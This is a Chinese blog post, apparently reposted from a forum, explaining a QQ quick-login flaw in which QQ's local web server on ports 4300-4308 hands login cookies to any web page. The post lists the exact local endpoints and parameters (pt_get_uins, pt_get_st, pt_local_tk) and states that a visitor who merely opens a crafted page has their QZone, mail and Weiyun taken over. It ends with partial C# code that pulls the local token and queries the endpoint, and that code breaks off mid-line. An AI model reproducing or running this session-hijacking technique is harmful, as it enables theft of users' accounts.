网页qq抓取什么原理(为什么你什么都没干,但QQ空间中却发了很多小广告? )
优采云 发布时间: 2021-10-02 00:23网页qq抓取什么原理(为什么你什么都没干,但QQ空间中却发了很多小广告?
)
为什么你什么都不做,Qzone里却有这么多小广告?可能你的QQ账号被盗了。本文将解释一个QQ快速登录漏洞。
前阵子在论坛看到一个QQ快速登录的漏洞,觉得很好,所以转了一部分原文到园子里。
利用这个漏洞最终可以实现,只要你点击一个页面或者运行一个程序,那么我就可以拥有你的登录权限。可以直接进入邮箱,进入微云,进入QQ空间等...
理解这篇文章需要一点网络安全基础,请移步我之前的文章
Web安全:通俗易懂,用实例讲解破解网站的原理以及如何保护!如何让 网站 更安全。
众所周知,腾讯使用Activex实现了QQ快速登录。在不熟悉的浏览器上使用时,首先要安装 QuickLogin 控件。
Activex 是插件的意思。例如,如果你有这个,你可以通过浏览器打开一个文档。而QuickLogin是腾讯用来快速登录的Activex。
就在不知道的时候,快速登录突然不使用控件了。
我当时很纳闷,腾讯用什么奇葩的方式来和Web和本地应用交互?
没有插件,网页应该是不能直接与本地应用交互的(除非定义了协议,但是只能调用,无法得到程序提供的结果)。
机缘巧合(嗯,无聊看任务管理器,发现机器的httpd,发现Apache在运行)突然意识到一个可能:如果QQ在本地开了一个端口,做了一个web服务器,也就是一个TCP符合HTTP协议的服务器,然后网页ajax向那个QQ(此时作为web服务器)发起请求,能得到结果吗?
httpd 是 Apache 超文本传输协议 (HTTP) 服务器的主要程序。它被设计为一个独立的后台进程,它将创建一个子进程或线程池来处理请求。
结果真的是这样
网页JS发送GET请求到(端口从4300-4308,一一尝试直到成功)
ping一下,会发现是127.0.0.1。检查端口后,确实是QQ在使用。
第一个请求:/pt_get_uins?callback=ptui_getuins_CB&r=0.59326&pt_local_tk=399224727
pt_local_tk 来自 cookie,不管它是什么;r 是一个随机数
返回的结果是一个 JSON 数组:
var var_sso_uin_list=[{"account":"登录QQ账号","face_index":-1,"gender":0,"nickname":"你的QQ昵称","uin":"还是你的QQ账号" ,"client_type":66818,"uin_flag":8388612}];ptui_getuins_CB(var_sso_uin_list);
然后用来获取QQ头像,这里不讨论
这样就可以在网页上显示你的QQ信息了。
当你按下你的头像时(当你选择这个登录时)
生成以下请求:
:4300/pt_get_st?clientuin=你的QQ号&callback=ptui_getst_CB&r=0.7293395590126179&pt_local_tk=399224727
同理,r是随机数,pt_local_tk来自cookie,local_token
这个请求有什么作用?
好吧,Set-Cookie。
然后继续请求
您的QQ号码&keyindex=19&pt_aid=549000912&daid=5&u1=http%3A%2F%%2Fqzone%2Fv5%2Floginsucc.html%3Fpara%3Dizone&pt_local_tk=1881902769&pt_3rd_opt=10style=0
这里唯一的 u1 是目标地址
这个请求会返回所有需要的cookies,此时你已经成功登录了。
这些 cookie 相当于令牌。有了这个token,就可以拥有快速登录的权限,相当于登录一般的网站,输入账号密码,后台会注册一个Token到浏览器进行状态验证。
也就是说,一旦拿到cookie,就可以通过CSRF(跨站伪装)做很多事情。
您可以在 网站 上放置一个页面并在其中运行 http 请求,或者创建一个也在其中运行 http 请求的表单。
只要你在电脑上登录QQ,只要你打开这个页面或者打开这个表单,那么你的账号就已经被黑了!
不需要输入账号密码,可以直接调用QQ空间的界面发消息,可以直接抓取相册,可以进入微云等。
我会根据这个漏洞在论坛上再放一个人的例子,
他做的是一个经过验证的QQ群实例
思路是:访问任何QQ网站登录都会在本地生成cookies,
然后在这个cookie中获取pt_local_token
然后得到一切。
<p>public static bool VerifyQQGroupYesNo(string VerifyQQGroupNum)
{
///
/// QQ群授权验证YesNo
///
bool YesNo = false;
///随机数处理
Random random = new Random();
string randomstr = (Convert.ToDouble(random.Next(1, 99)) / Math.PI / 100).ToString();
try
{
///定义string类型pt_local_tk 、localhost_str
string pt_local_tk = string.Empty, localhost_str = string.Empty;
//QQ会员中心Url
string LoginUrl = "http://xui.ptlogin2.qq.com/cgi-bin/xlogin?appid=8000201&style=20&s_url=http%3A%2F%2Fvip.qq.com%2Floginsuccess.html&maskOpacity=60&daid=18&target=self";
//Get方式Http1.1访问QQ会员中心
Zmoli775.HTTP.GetHttp1_1(LoginUrl);
//获取访问QQ会员中心生成Cookies->pt_local_tk值
pt_local_tk = HTTP.Cookies.GetCookies(new Uri("http://ptlogin2.qq.com"))["pt_local_token"].Value;
/*
https://localhost.ptlogin2.qq.com:4301/pt_get_uins?callback=ptui_getuins_CB&r=0.22949112393586502&pt_local_tk=-2027291081
*/
//自动登录[1]->返回QQ号、client_type、QQ头像代码face_index、性别、QQ昵称、uin、uin_flag
localhost_str = Zmoli775.HTTP.Get("https://localhost.ptlogin2.qq.com:4301/pt_get_uins?callback=ptui_getuins_CB&r=" + randomstr + "&pt_local_tk=" + pt_local_tk + "", LoginUrl);
//正则截取返回JSON字符串
if (!string.IsNullOrEmpty(localhost_str = Regex.Match(localhost_str, "(?i)(?